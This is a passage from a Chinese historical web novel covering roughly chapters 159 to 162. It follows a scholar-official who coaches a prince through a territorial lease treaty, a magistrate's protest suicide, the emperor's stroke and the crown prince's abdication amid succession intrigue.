最后段之缙软磨硬泡,又拿着水师吊在前边,终于叫皇帝松嘴,段之缙紧接着说道:“既然外来的洋人可以得陛下的恩典,我朝的能工巧匠也应一体对待。此外,我朝和西洋有诸多不同,现在只有他们西洋人来过我朝,却无我百姓去过西洋。这般形势总是不利,何不选派一部分国子监学生去西洋学习?如果陛下同意,倒是可以叫洋人上京来商议一番。” 皇帝斩钉截铁道:“绝对不行!” 段之缙还要再说却被皇帝打断:“工匠的事情另说。但朕劝你不要对西洋的事情太感兴趣,外边到底有什么勾着你?” 段之缙悻悻地住嘴,而河田的两份奏报就是在此时来的。 其中有绥王的一份,还有郑楒琅告状的一份。 皇帝见是河田的奏报便很上心,没有耽搁立刻启封来看,看完后一把摔在案上,气道:“当初就不应该叫这杀才去河田,郑楒琅谈得好好的,他去逞什么能!” 段之缙心里一急,轻手轻脚拿了折子看,瞬间明白了皇帝所想。 普天之下莫非王土,率土之滨莫非王臣。且封建时代土地归属变动本就十分频繁,压根儿没什么寸土不能丢的思想,甚至土地也可以做为一种赏赐。 比起那几个没用处的小岛,银子不能丢才是真的。 心中急,面上却不能急,段之缙思量一会儿还没想出如何劝,皇帝先发了火:“你去传旨,叫他立刻回京来!” 段之缙胆大,直接去把鎏金麒麟香炉里的安神香点了,缓缓说道:“臣倒是觉得绥王没什么差错。海舶资也就罢了,租地却是万万不能的。陛下何不传海舆图看一看?叫武将们共同商讨一番,再决定是否应当把这片岛屿租给洋人。主要是臣心里疑得很,怎么这么几个岛屿他们也愿意花一千多万两来租呢?定然是有所图谋的。” 皇帝一边叫吕太清传大臣进来,一边把郑楒琅地折子扔给他:“你的好学生,反教训起军机大臣了,他有什么资格?” 在外办差,郑楒琅皇命在身,纪明瑚不仅以亲王之尊压制,还如此羞辱他,实在不该。 “他到底是没经过事儿的,一时情急只会用这种下等法子也实属正常。” 皇帝嘴上骂两句,断不会叫纪明瑚给郑楒琅赔罪,段之缙也跟着装瞎,没有一句埋怨绥王的话,两人就沉默着等着大臣来。 众臣请安之后往角落里一看,果然有段之缙在,不知给他革职革了个什么,怎么革到养心殿来了。 皇帝将折子给他们看,“现在十几天过去了,也不知道是个什么情况,洋人还愿不愿意就此签订合约。” 大家相互传看,都觉得绥王太过冲动,又把海舆图给武将们看,毕竟是水师没发展的时候,大家也都觉得抛出去没什么要紧的。 皇帝抱着手臂倚在案上,斜眼看段之缙:“现在服气了?” “臣自然不服气,依臣所见自然是寸土不能让,哪怕是租也不行。那五个岛现在没用处,说不定以后有大用,现在轻易舍了出去,臣担心日后后悔莫及。” 方叙墨宽慰他:“你何必如此担忧?几个小岛罢了,我雍朝海域辽阔,难道还少这几个小岛吗?” 这是认知方面的差异,就算段之缙说破嘴皮,他们也不能理解段之缙为何对领土的事情如此敏感,因而事情便这样定了下来,纪明瑚回京,和约照常签订。 段之缙无可奈何,听吩咐退下。 回到家中,段之缙无官无职,蒸汽机一点进展都没有,可以说是无事一身轻,也能说是闲出屁来了,不是跟着沈白蘋去育婴堂就是跟着沈白蘋去佛寺施粥。 原本沈白蘋还能给他代写折子,出谋划策,现在两个人俱无所事事,一门心思往外跑。 这日里去卧佛寺施粥顺便求佛,一则求段訚高中,二则求侄儿媳妇平安生产,三则求蒸汽机赶紧弄好,家里人实在是听烦了段之缙整日嘀嘀咕咕。 三根香插进香炉中,青烟丝丝蔓蔓升起来,沈白蘋带着段之缙磕了三个头,又在卧佛寺中用了斋饭才打道回府。 两人走在山路上说笑,迎面一个女子带着浩浩荡荡的侍从上山,段之缙定睛一看,她身边一个太监极为眼熟。 对了,是纪焕身边的太监司晨! 那这是…… “是绥王妃,我们得上去行礼了。” 两人上去请安,刚行完礼段之缙就远远避开,留沈白蘋一人陪王妃说话。 在众人眼中这个无爱无子的王妃可谓是可怜至极,可绥王妃实在是太光彩照人了些。 她年纪不大,脸吃得溜圆,回身上下无一处不精致,无一处不是外边难得一见的东西,刚才爬了不少山路微微气喘,和沈白蘋说笑,笑声响彻山林,惊扰了不少的鸟儿。 说了好长时间,她才想起来问一句:“段夫人来这里做什么?像您这样再没有烦扰的人应该不会来拜佛才对。” 沈白蘋笑笑:“哪有人没烦扰呢?我一要为我的侄子求功名,而要为他求子嗣,三要为我的丈夫求顺心。倒是王妃,您还有什么不如意,特意出宫来拜佛?” 绥王还没有开府,一家人都住在宫内,轻易不得出宫、出城,现下到了卧佛寺来,到底是什么事儿如此重要? 绥王妃脸上一下子漾出来笑,她惯是没心眼儿守不住事的人,现在有了高兴的事儿更是想和人分享,咧着嘴道:“我们侧妃和家里的一个月前查出了身孕。素有人说,卧佛寺的佛祖最是灵验,现在胎稳了我求母后出来上香,庇佑这两个孩子降生。” 沈白蘋一愣,原来那样迁就,那样的伏低做小也还宠幸着其他的侍妾啊…… 不过这才是正常的,王孙公子,哪个不是后院塞得满满的,除了自己生息不能,又有哪个不是孩子一大堆? 她嘴上只贺喜,又说:“王爷办差再辛苦,得知此大喜之事,怕是什么辛苦也没了。” 王妃笑眯眯应承:“他在外办差,我们不敢惊扰,所以并没有去信,他还不知道呢。不过我想也是,他一定是高兴的。”两人说完话分开,一个带段之缙下山,一个又气喘吁吁上山,为那两个不知男女的孩子祈福。 沈白蘋跟段之缙说了,段之缙早有预料:“你还真把他当成什么好东西了?” “我想着他吃斋念佛,身子又弱……” “真笃信佛法的,都去了庙里修行,小活佛布扎拉依只穿麻布、吃粗粝碎米、用清油炒的时令素菜,一餐只一饭一菜,过午不食,凡事亲力亲为,绝不用人伺候……他就差自己去御膳房炒给自己吃了。那才是笃信佛法。” “先别说咱们王爷,就说他那不受宠的王妃,你看她浑身上下有一星半点儿是你平常见着用过的吗?又有一星半点儿是旧的吗?新玩意儿尚且用不过来呢!绥王本人更是豪奢无度的货色。他那侧妃,说是他伏低做小百般讨好,你也不想想她侧妃是什么出身,自小便伺候这个祖宗,脾气全都摸得透彻,嘴上不饶人即便真有泄愤的原因,也少不了有些叫他愧疚的目的在。你没见着绥王身上,从里到外从上到下,没有一处不是侧妃的手笔。他是叫人伺候舒服了,所以才做出这副模样。” 段之缙自己说着都难忍,最后只道:“其他的我全不求,只求他这次回来,好歹知点儿人事。” 沈白蘋沉默良久,只余一声长叹。 第160章 160段之缙从山寺回来之后…… 段之缙从山寺回来之后就盼着纪明瑚回京,可他想纪明瑚早点到,纪明瑚心里却盼着马车慢点。 等他回到京城的时候,并不如出京时那般气派,虽仪仗俱在,但人之心情是不一样的。与此同时,小王爷心里还有些难过,估计是这次要去养心殿领罚了。 他不明白,如果段师傅说的是对的,那么土地为什么可以租出去? 可如果段师傅说的不对,他为什么又会认同呢? 马车愈发往前驶,又突然停下,驾车的粟禾子隔着帘子说道:“殿下,段师傅好像在前边接您呢。” “他来接我?”我这般灰溜溜地回到京城,他来接我做甚? 纪明瑚颇有些无颜见江东父老的心情,缩在马车上不愿意下来,但段之缙却容不得他这般躲躲藏藏,三两句话又拉拽着就把他扯下了马车。 “这是给你的接风酒,你怎么能不下来饮呢?” 纪明瑚苦笑:“那未免太寒碜了些。风尘仆仆的,又是在城门。饮什么接风酒啊?” “你懂什么?到城里说话不就叫你父亲听见了?我们师生两个说两句话,就得趁着这个时机才好。” 段之缙把酒递给纪明瑚,纪明瑚一把拿过急急饮下:“那也不必到这里来说吧,我去您家中一叙如何。” “去我家中更不行,去我家中你爹定然要问你来我家里说了些什么,你当他傻吗?” 纪明瑚烦闷道:“好吧好吧,师傅你说吧,我听着呢。” 段之缙却摇摇头:“我要叫你先说。” “叫我先说?哼……我只会骂郑楒琅,如果您要听,我就骂给您听。” 段之缙一笑:“我觉得也不能怪郑楒琅吧,你同他讲道理了吗?” “您把我想的也太坏了,我难道只会以权压人吗?我自然是讲道理,没讲通才去骂他的。” “哦,原来这样你就有理了。” 纪明瑚又一口闷酒下去:“段师傅,您到底要让我说什么呢?” “我想知道你在河田都看见了什么,有什么感悟吗?” 纪明瑚咬牙道:“我只恨咱们的水师大败,叫那些夷人贼寇骑到咱们头上来。更恨朝中的大臣们竟然在建水师的事情上犹豫。难道赔钱他们就舒服了?八百万两也不是小数目啊。水师才花多少钱?更何况那还是自家的家当,能拉出去打仗的!” “师傅,你知道吗?我又以权压人,令他们用船载着我去那些小岛上看过了。” “他们虽然远在海上,但是心里仍向着朝廷,我只穿着常服上去,他们都围上来打听我是从哪来的,来这干什么?我说我是从海对岸来的,他们就又打听海对岸都有什么,畅想着以后有时机就也乘船到海对岸上去。” “我问他们去海对岸做什么?他们说他们是雍朝的子民,就算是不干什么也能到海对岸上去……他们的县令张刑还来迎我,听了朝廷的决议之后就只会哭了。” 纪明瑚无力地问道:“段师傅,他们是把自己当雍朝的子民,但是现在他们也算是雍朝的子民吗?我们衙门凭什么管束他们吗?把地租出去,他们可就不归朝廷管了。” 段之缙又给他满上一杯:“咱们朝廷,把他们称斤论两地卖给夷人了,自然再难说是朝廷的子民。我问你,你想怎么办?” “倘若能够打败那些夷人,自然是要撕毁和约。” 无论他之后怎么做,但起码此时是真心的,段之缙便知这些日子的教导都是有用的,功夫没有白费。他将手里的酒痛快饮下,附耳道:“我知你是想要做太子的,对吗?” 纪明瑚默默不说话,可也的确没有说一个“不”字。 “那么,你要做的第一步就是分家。” “可是,如果分家,我和父亲就远了。” 段之缙拍拍他的肩膀:“如果不分家,你这辈子都在你爹的眼皮子底下,一切的错误都会被放大。这次的事情是一场历练。从此之后,你要做一个温和的、节俭的皇子,我不管你关起门来怎么样,主要在外边就得按照我说的来,再不许有任何的私心杂念,你要一门心思地办差。” “可是……” “没有可是,等你出宫之后,我会跟你解释的。对了,你的陈侧妃已经身怀有孕,四个多月了,还有你的侍妾也有了身孕,回家归回家,高兴点儿,别把自己的脾气带回去。” 纪明瑚答应下来,但也容不得他多高兴,先把父皇应付过去才是正经的。 养心殿的地砖从没这样冰冷过,皇帝在案上批阅折子,一言不发,就任他在下边跪着。 纪明瑚恭恭敬敬,亦是一语不发。 等了半晌,这儿子也不给自己求情,倒弄得皇帝没面子,咳嗽两声问道:“你好硬气啊,都不知请罪吗?还是觉得自己没错?” “正是儿臣深知自己之错,才不敢为自己求情,宁愿在这里跪着。” “你有什么错?” “儿臣有三错。一则不该言辞激烈,辱了郑中堂。二则不该擅权干事,越俎代庖。三则,儿臣到底是没 经事,这次思虑不周,幸好郑中堂大人不记小人过,以父皇不愿租地为由推搪,叫洋人再次让步,不要了我们的利息。” 皇帝这才露了点笑意:“你能够悔改,朕便觉得你没白去一次河田。这次朕便既往不咎,宽宥于你。对了,你的媳妇有了身孕先回去看看吧。” “儿臣还有一请,求父皇允准。” “你说。” “儿臣这次离京,深知自己的不足之处,说到底是养在深宫之中不知民间疾苦。儿臣想,父皇当初为藩王时,也是出宫建府为皇祖办差,不如也叫儿臣建府,也能有个上传下达的作用,为父皇传递民情民意,日后也能为哥哥效力。” 皇帝自然还没忘记之前他和长乐王的事情,这些儿子的小心思啊……不过他的年纪的确大了,承明殿有些拥挤,也没有王爷一直住在宫内的,便答应下来。 “不过你身子轻,得先叫钦天监挑选好日子才行。” 皇帝命他回宫去,自己还有折子要看,纪明瑚转了一圈,先给惠安太后请安,又去拜见惠文太后。 太后最爱的除了长乐王就是这个心肝儿肉,见他出去奔波一顿心疼得很,叫嬷嬷上奶饽饽给孙儿用,又怨道:“当时我就劝皇帝不叫你去,结果磋磨成这样,心疼死哀家吗?” “皇祖母,孙儿是出去办差的,哪能因着自己身子好不好的原因就推辞呢?孙儿这次是有事相求。” 他这样一说,太后就有些不愿意,原来是无事不登三宝殿,来求人的了。 惠文太后眼梢吊起来,阴阳怪气地说:“好呀,原来有事求人也不先来我这,要先去你那正宫皇祖母那儿。” 纪明瑚微微一笑:“您还因着这个吃醋啊,这有什么大不了的。说到底,我和父皇心中最亲的,仍然是皇祖母您不是?方家都被抄了一遭,但我舅爷家里可封了世袭罔替的承恩公,虽无甚权势,但是富贵……除了宗室就是舅爷他们了。这次我还从河田带了些新鲜玩意儿,一份献给皇祖母,另一份要给舅爷他们送去。” 老太太还是很容易讨好的,又高兴了起来,口是心非道:“得了,可别给我带高帽了,你要求什么?” “孙儿想要出宫建府,父皇叫钦天监去算日子了,求皇祖母跟承恩公家中说说,叫他们去钦天监操作操作,好让我尽快出宫。” 真到要操作的时候,纪明瑚终于明白为什么段师傅一定要他出宫了,就算是指使钦天监这样的小事,连承恩公都能做,纪明瑚却做不了。 惠文太后有些急:“出宫做什么?宫外有什么好的,不如就留在宫里,凡事也方便。” “可正是因为留在宫中,我才连这点儿小事都要请托皇祖母。” 纪明瑚抬眼看着太后,眼神有难以拒绝的坚毅,惠文太后一瞬间便明白了他想要的。 她无声地坐在上首,想着她的两个儿子,又想想纪明,最后哀叹一声:“你们全说自己有大志向,全去争争争……”她混浊的眼睛里渗出液体,啜泣两下又抬眼用帕子擦去,脸上又恢复了往日的安如磐石、不动如风的神情:“好吧,既然如此哀家会叫他们去做的。你无事就回去看看宝珍,她月份还小得让人陪着。” 纪明瑚磕头告退,走在回宫的路上终于有空去想自己又当爹了的事情,难免露出来一丝笑意,加快步伐回了皇宫。 旁的东西,承恩公帮不上忙,但他们自微寒一路青云直上,能叫皇帝事事看得顺眼不是一般人能做到的,最能揣摩人的心思,因此此事风险虽大,监正也被他们说服,真跟着皇帝编瞎话去了。 但皇帝本就懂这些东西,三问两问差点露馅,幸得监正云里雾里地绕,直接把皇帝绕昏了头才叫他相信,自己的这个儿子得在年前出宫建府,否则帝星大盛,会把他给冲了。 现在天渐冷,离着过年也没几个月了,想赶工出一个符合规制的王府简直是痴人说梦,只能从现成的里边找。 空着的王府只有皇帝六弟的肃王府和好二哥的誉王府,对皇帝来说这两个王府实在是晦气,压根不想叫儿子住。 吕太清在旁边提议:“左右主子的潜邸也还空着,倒不如先叫王爷进去暂住,把眼下的局势避过去。” 皇帝还犹豫着,潜邸叫他住进去,怕又是一场风波,他难免抱怨:“那些大臣更该好好学学段之缙,别成天猜来猜去叫朕心烦,好好办差才对。” 但此时的确没有旁的去处,若是降规格有些委屈了纪明瑚,最后下旨叫儿子一家暂时住进去,绥王府即刻动工。【你现在阅读的是 】 160-163 第161章 161内务府办起事情来自然…… 内务府办起事情来自然是快得很,主要是皇帝催得急,不想叫儿子被冲,于是年前纪明瑚就带着妻儿搬到了王府。 曾经的端王府牌匾一换,成绥王府了。 这是皇帝潜邸,自然不能按一般的王府对待,因而早早就换上了黄琉璃瓦,银安殿建扩建为九间——是个极数。正殿更是整个都被翻了一遍,柱子换成了金丝楠木。 花园里引山叠水,妙不可言。 绥王站在小阁楼上向外远眺,紫禁城就在东侧,他紧合双眼只觉身子渐轻渐小,似乎又回到了一两岁的时候。 父皇尚未登基,自己又惫懒得厉害,能叫人抱绝对不自己走,死死腻着人,哪怕是端亲王,回了王府也得抱孩子。 当时就在这座小阁楼上,父皇跟自己说,很快就要住进那层层红墙了。 时至今日,纪明瑚再次站到小阁楼上,才蓦然发现紫禁城竟然如此之大,太和殿如此地沉默威严。 女眷们头一次来这端王府,再没了宫里人的约束,一个个玩得找不着北,王妃领着小丫头去梅园里拽梅花,生拉硬扯的,一点好样子都没有。 陈侧妃大着肚子和另一个怀孕的侍妾坐在廊下,焕儿在她身边咿咿呀呀地背书。 只有李侧妃稳重,不无担忧地过来问:“殿下,这王府中尽是僭越之物,妾等不敢使用。” “我已经跟父皇请示过了,是许用的,你们只管放心地用。” 李侧妃便去和旁人招呼了,而纪明瑚则要吩咐人准备东西,等着年后正大光明地宴请朝廷官员庆贺自己离宫建府。 至于平日里,自然是该上课上课,该去各部里办差就去各部里办差,段之缙把蒸汽机的一些事情学舌鹦鹉一样讲给他听,他倒也津津有味,只可惜他问的,段之缙答不上来。 总之年前的日子过得还算不错,转年那五座小岛按照和约交割,谁也没想到会发生变乱。 段之缙是上着课的时候被叫走的,到养心殿西暖阁的勤政亲贤殿中刚要停住脚步,吕太清又着急地回头喊:“段大人,进来啊!” 他的意思是叫段之缙往皇帝的内室去。 段之缙心中暗叫不妙,怕不是出了问题,急匆匆跟进去,果然见郑楒琅已经趴在御榻旁哭了,而太医院的太医围在前边满头大汗地讨论方子,院使正在施针。 皇帝又晕了,看来这次是大事不妙…… 没过多久,后宫的两宫太后、皇后,前朝还办差的太子和军机处、内阁所有的大臣都挤进了这个小小的内室,惠安太后将太医找到后边问病情。 “臣禀太后娘娘,圣上龙体违和,其症结恐在丹石相激、劳倦伤元。陛下为社稷宵衣旰食,本已耗损中气,更兼服食金丹过频,燥热积于脏腑,方才又怒急攻心引动肝风,此乃风邪中络之兆……” 中风! 惠安太后爆出一声悲泣,差点把屏风前边的大臣们吓死,太医赶紧急急补充道:“不过上天保佑,风邪只侵扰手之太阴经,致右臂气血壅滞,除握笔执箸稍感滞涩外,并无遗害,两三天就能醒来!此症贵在静养,若再合丹火攻伐,恐伤龙体根本。” 刚才说了中风,现在 又说只右手不太灵活,惠安太后就不那么难以接受了,甚至稍稍松下一口气,她年纪已经很大了,难得的高寿,来了这么一遭顿时头昏脑胀,被皇后扶着坐下来,缓了一会儿开始算后账:“吕太清!哪个把皇帝气成这样!” 吕太清连滚带爬跑到后边,郑楒琅身子一僵,果然听到太后吩咐:“郑中堂,把那份折子拿来给哀家看看。” 大家都不知是怎么回事儿,郑楒琅作为递折子的却知其状况,擦擦脸上的汗水,捧着折子呈上,惠安太后一目十行咬牙切齿道:“乱臣贼子……乱臣贼子!这样的畜牲合该诛他的九族!” 她把折子扔了出去,叫大臣们捡着看,尽快想办法出来,方叙墨捡起,和诸人凑做一处,一看一个哆嗦,只见上边写道: “罪臣河田府临海县令张刑血奏:臣以微末之躯,持印信三载。今贼寇裂我海疆,朝廷明发上谕租岛睦邻,忽弃疆土,臣宁碎首阶前,不忍见汉家妇孺髡发左衽,使耕海百载之民,忽成化外遗囚。臣今刎颈殉岛,非敢抗天威,实乃弃海即弃国,今日五岛,明日九州,夷人至京之日,彼时金殿议租耶?和耶?” “臣已死之人,斗胆问天,我圣主皇帝驱赤砂于西北,吞高地于西南,今竟忍献岛于西洋?” “臣泣血而书,吾皇万岁万岁万万岁。” 众人览后默不作声,段之缙心中又悲又愤,只觉胸前豁然洞开,殿外的风直往里灌。 郑楒琅又战战兢兢说道:“现在张刑的尸身还留在岛内,百姓自发为他穿麻戴孝,哭声震天,请朝廷给他追封。” “追封?!”太后气道:“你们说话啊!皇帝还躺着呢,难道要他起来处置?” 出了这种事,这里哪个人敢处置张刑?别说他已经死了,就算他没死,弄出了这么一封奏折,只要朝廷还要脸就不敢对他如何。 众人面面相觑,没一个吱声答话。 段之缙从偷偷后边给了方叙墨一脚,叫他这孙女婿兼外甥好好回话,方叙墨脚下一个趔趄顺势跪倒回道:“此事事关朝廷体面和皇上圣明,臣等委实不敢做主,只能等陛下醒来处置。” 太后恼道:“要你们何用?” 惠文太后趴在皇帝床前不错眼地看,担惊受怕地试探鼻息,拽着太医叫他解释了半天才缓过神来,她看着前边闹得不成样子,狠狠一闭眼睛上前道:“张刑是不世出的正臣、忠臣、直臣,有此魏征,是皇帝之兴也是天下之兴,现如今他罹难,身后之事却不能不办,且还要风光大办!若是……” 惠文太后缓了一口气:“若是皇帝迟迟不醒,哀家发懿旨,给张刑追封一等公,若他母亲尚在就封她母亲为一品诰命,若母亲不在,封他妻子吧……” 惠安太后就见刚才口口声声要“陛下醒来处置”的大臣们齐齐下跪,苏橙更是当即替惠文太后拟定懿旨。 好啊…… 她心里不是滋味,但年纪大了也不愿意在这上边争什么气,只默不作声地在后边坐着。 不能因皇帝倒了就不办差,等长乐王从宫外进来后略作安排,就留下了几个大臣轮流值守,剩下的人出去理事,段之缙无差,自然要同长乐王一块儿守着。 一天,两天,懿旨都发了下去,但皇帝仍然不肯醒来,只能强行掰开嘴喂些水进去,可还是难以避免得脸颊凹陷,眼瞧着人的皮都松了,第三天皇帝才幽幽转醒。 神思一恢复清明他便死死拽住段之缙的手腕,一开口,声音哑得像是半辈子没说过话了。 “张刑的那个事情处理了没有?” 段之缙把惠文太后的安排说了,皇帝骤然松下一口气:“那就好……”他看着段之缙正拿着调羹要为他吃药,眉间攒起嘟囔道:“药总是苦,给朕吧,朕一口饮进。” 段之缙却犹豫起来,不知该不该给他,因为太医的话他还记得呢,皇帝中风后会有手抖的后遗症。 “怎么了?” “陛下,还是叫臣来吧。” 皇帝斜他一眼直直伸过手去,却愣愣地悬在半空。 他的右手刚才抓握时还好,现在竟然抖得不成样子了? “这是怎么了?!”皇帝的嗓子嘶哑到破音。 段之缙擦擦不存在的眼泪哽咽道:“陛下,太医说这是中风的遗症,以后都难以养回来了……” 皇帝满面恍惚,不过到底是见惯了大风大浪的人,半晌苦笑一声:“年纪大了,半点不由人啊……” 他脑子飞速旋转,这么抖的手,以后拿笔都成问题,奏折怎么办? 一般的题本叫内阁、军机处的看看也就罢了,地方密折可不能叫他们看。 宦官、后宫不能看,皇子们里皇太子决不能决不能一个人看。 叫纪明祚一个人看? 皇帝现在病痛缠身,疑心更重,甚至不敢只叫自己的隐形太子来看奏折,最后思来想去,皇太子、纪明祚和纪明瑚三个人分别来伴驾,每人一天。 皇帝被扶着躺下去,喘口气吩咐段之缙:“你去替朕传个口谕。” 段之缙领命而去,他已经三天没出养心殿一步了。 此时正是上午,段之缙很有心思地先去了东宫和三皇子那儿,最后才去找纪明瑚,绥王正在跟着席翱上课,听他有皇上的口谕赶紧跪下领旨。 几天没见着皇上的面,再加上那些风言风语,纪明瑚已经心焦到无以复加了,领旨之后看着段之缙,盼望着他说句话。 段之缙微笑,反而道:“你父皇刚刚醒来,不要办什么大宴,只请师友二三来聚一聚,就全当给你暖了房。” 纪明瑚了然,三天后就下了请帖,请了他所有的老师来。 他素来桀骜不驯的货色,除了席翱还怕哪个?现在彬彬有礼,不与在座的诸位论君臣,而以师生论,待灌醉了众人后拽着段之缙去了引箭阁上,段之缙望着楼下那片空地,一下子回到了二十余年前,当时他还与长乐王在此比赛射箭。 纪明瑚问他现在怎么办。 段之缙当即道:“你的机会来了!” “你、我和太子三个人,乃至所有人都知道,太子的位置是做不长远的,那就趁着现在,叫他自请废太子,把太子之位让给纪明祚!” 纪明瑚大惊:“不行!白白便宜了他!而且父皇他的身体……我怕改立太子之后,太子即刻就登基了。” “现在这个节骨眼,谁做太子谁就动辄得咎!且你父皇正在病中,手再也拿不稳笔了,太子自请被废有两个结果。” 纪明瑚等着他说。 “皇帝答应,皇帝不答应。” 纪明瑚神色瞬间垮下来,废话。 “你父皇这次不答应,他以后又凭什么废太子?即便是在病中他也能 想清楚这件事。” “若你父皇答应了,那么他年纪大了,太子之位空悬,朝臣又如何答应?定然要求改立太子,人选就是纪明祚,此事还是有两个结果。” “你父皇答应,纪明祚给病重的皇帝做太子,地位和能力一旦出现倒置,那么他就算不出错也是错处。你父皇不答应,群臣上表要求立纪明祚为太子,那就更有趣了。” 封建的悖论,大君与小君的矛盾无法避免。 纪明瑚深思一番,又问道:“我呢?我怎么办?什么都不做?” “不!你要修缮卧佛寺并且大肆施粥但是给皇帝祈福的目的不要说出去。同时你府中除了孕妇外一律用斋。最后,好好办差,恩威并重,要关怀官员们的日常生活,有困难及时帮助,但对于偷奸耍滑的人要不留情面,一律严惩不贷!” 段之缙道:“现在是多事之秋,你一切都小心为上,僭越之物全都收起来,一律不准使用。” “可是父皇他允准了……” “你父皇还立你大哥为太子呢,管用吗?” 纪明瑚全都答应下来,两人射了两箭做做样子,便派人送这些醉鬼回去。 而纪明瑚做起段之缙的吩咐来也一点儿余地不留,把个端王府闹得猫儿也吃素。 第162章 162太子东宫内,皇太子只穿着…… 太子东宫内,皇太子只穿着他的杏黄色中衣站在树下,树上的落雪渐渐融化,掉了他满头。 太子妃从拿着披风从殿内走出来,为太子披上。 “殿下,无论多么难,您都要保重身体,就算是圈禁,好身子还能多活十年呢!” 太子蓦然笑了,又捂着脸痛哭:“为何把我架上来,又为何不赶紧把我废了……父皇啊父皇,我到底做错了什么啊!” 太子妃这些年心惊胆战的过日子,几乎到了风声鹤唳的程度,听此悲泣也忍不住哭了起来,怀抱着太子劝慰道:“殿下,您不要如此,您放宽心,到现在皇上都没有废太子,他定然还是记挂着太子的。” 而她怀里的人只叹一口气,灰心丧志,又带着一丝解脱:“丁师傅过世了,蒋师傅回了南方,四弟要自立门户,一切都结束了……” 这个愚蠢的,可怜的太子,直到纪明瑚来找他的时候,他才看出来四弟的打算。 他擦干净脸上的泪,回身牵住太子妃的手:“这么多年苦了你,从此之后,我不做太子,你不是太子妃,我们就带着一双儿女,做富贵闲人……四弟绝不会亏待我们。” 他说完,毅然决然地回去更换衣服,直直朝着养心殿去了。 现在是中午,皇帝正用午膳,自己一个人以左手执调羹用膳,因着左手也略微有些抖,现下的心情很不好。 等着听了皇太子的悲诉之后,心情更不好了,他本想再进一口汤,但因略有些怒气在,左手更抖,汤洒到了胸前的常服上,力不从心之感和年老体衰,对死亡的恐惧令他彻底爆发,瓷制的调羹被狠狠扔在桌上,碎得四分五裂。 “你现在……咳咳……现在要自请废太子?你早干什么去了!早不说,晚不说……偏偏现在说!”皇帝气愤之下忽然一震,半眯着眼睛,声音已经冷如刺骨寒冰了。 “是谁给你出的这个主意?” 皇太子伏在地上泣不成声:“没人给儿臣出这个主意……儿臣这些年,这些年生不如死啊陛下!儿臣没有一天能睡个安稳觉,生怕哪天,陛下用不着儿臣了,儿臣就会被废,纵观史册,有几个废太子有好下场?这些日子陛下龙体欠安,儿臣跟在父皇身边如芒刺背,动辄得咎,臣又能如何呢?” “但是现在臣不怕了,臣宁愿圈禁,宁愿流放,也不愿意再做太子。臣是无能之人,愚钝之辈,也不知为什么就坐上了太子之位,这一做就是十几年,犹如跳梁小丑被活生生架上了戏台。” 他哭到最深情处,身子都跟着抽搐:“倘若陛下对臣还有半点儿父子亲情,就请陛下废了臣太子之位,另则贤人吧……” 皇太子已经是不惑之年的人了,常年一副阴郁怅然之气凝在脸上,现在把话都说开了去,反而有了一丝豁达,他就这样将冠帽一体摘下,直挺挺地跪着。 正如段之缙所料,皇帝不会不答应他的请求,一则是现在人家自请废黜你都不废,以后更没得理由,二则他病中也被勾起了一点儿慈父心肠,想起了前朝的肃王是如何得宠,什么都是皇考喂到嘴边儿的,自己又是如何地不患寡而患不均。 皇太子愚钝,但这个愚钝的太子不就是自己架上去的吗?德不配位,也是自己的过错。 没有任何征兆,皇帝突然下诏废黜太子改立为平王,将原先的誉王府扩建了一倍赐予他,分家财产是几乎是其他封王儿子的两倍,一派人欣喜若狂,以为纪明祚要成为新太子了,结果皇帝悄无声息,太子之位竟然空悬。 一个垂垂老矣而又多病的皇帝,一个圣心未定,太子之位虚悬的局面,众臣紧跟着惶恐了起来,铺天盖地的折子淹到了养心殿,皇帝很理解他们,因而没有生气,只是发上谕说自己身体尚可,太子之位暂空也不会出事,且自己留有遗诏,不会叫新主有疑。 此前从未有秘密立储的先例,而病中的皇帝过于和蔼的态度也叫人忘了他往日的杀伐果断,或许也是因为从龙之功太过诱人,大臣们联名上表,奏请立三皇子为新太子。 纪明瑚全当没看见没听见,前头帮着这个官员嫁女,后头就给那个官员议成了死罪,斩立决,更有甚者,他自己的亲堂弟礼亲王的儿子被他议成了死罪,在得到皇帝的允准后当日就送去了匕首另他自裁。 他去哪,哪就觉得皮紧,被吓得战战兢兢,但过了些日子又难免依赖攀附。一时之间京中吏治为之一清,宗室更是夹起了尾巴做人。 但他吃着斋念着佛,仍然紧紧盯着皇帝的举动,等着他暴怒的时刻。 果然,大臣们第三次联名上书的时候,为首者,也就是纪明祚的师傅王自平被革职发遣,又有两位文采斐然,给众人提笔的翰林被施以酷刑,被钉在午门处的城墙上,血流了三日才咽气。 朝堂像是沸腾的热锅被扔进了一块寒冰,一下子安静下来,可发怒之后,皇帝又跟没事儿人一般照常理政,叫纪明瑚、纪明祚两个人到养心殿读折子,那场风暴一点儿都没影响到他。 纪明祚倒是有些心急,他年纪小难免带出来,皇帝仿佛没看见一般,仍如往常一样指点着他。 虽说纪明瑚也很好,但纪明祚身子强健,做皇帝哪里能身子不强健呢?叫绥王做太子,皇帝都怕他哪天猝死了,闹得个国家群龙无首,这才是真完了。 但是皇帝心中还是有些不是滋味,又有些不舒坦,无他,纪明祚和他的政见不太相符,但好在他人还算受教。 纪明瑚瞧着他们父子亲亲热热,又难免心急起来,想要和段之缙商讨一番现在该怎么办。 如今这两人会面有了新的去处,段之缙常跟着沈白蘋去卧佛寺祈福,而纪明瑚正花大价钱修缮卧佛寺,准备再造金殿,且这里的住持和他素有交往能替他俩遮掩,两个人就在此碰面。 后禅院里,纪明瑚猛吃斋饭,段之缙则喋喋不休。 “你不要急,你天天急什么呢?我瞧着皇上身子还不错呀。现在除了手抖眩晕,能吃能喝能睡觉,听说一天能睡四五个时辰……不像是有事的样子,只是难以亲自理政,所以不该是你急,该是他纪明祚急啊!” “对了,我听说现在东南要建水师了,你可知道这个差事都是派谁去?” 纪明瑚刚吃完一碗糙米饭,又自己盛了一碗,边吃边说道:“那个转了好几圈的童禀声回京来了,七十多岁的人了,父皇也敢把他往东南派。另一个人则是西南的苗人克勤。父皇大人大量,不计较他谋反的罪过。你一直在忙着洋人教师的事情,不清楚前些日子克勤还进养心殿面圣了,父皇很喜欢他,说要要大力地栽培,叫天下人看看陛下视万民为一体的宽仁之心……” 才说了没几句话,纪明瑚又吃了一碗米饭:“段师傅,你得给我一个指示才行啊,我这样子一直心慌。” “你要是心慌就去办差,把自己累得倒头就睡,哪还顾得着心慌呢?现在千万不要轻举妄动,也不要去勾连外臣。事事听从你父皇的安排。你要记住,虽然他现在年纪老了,但是你们手里没有任何人在。” 纪禅永远记得他当时是怎么上位的,所以对此事防得甚重,无论是九门提督还是京畿兵营里的将领,更换的频率非常高。 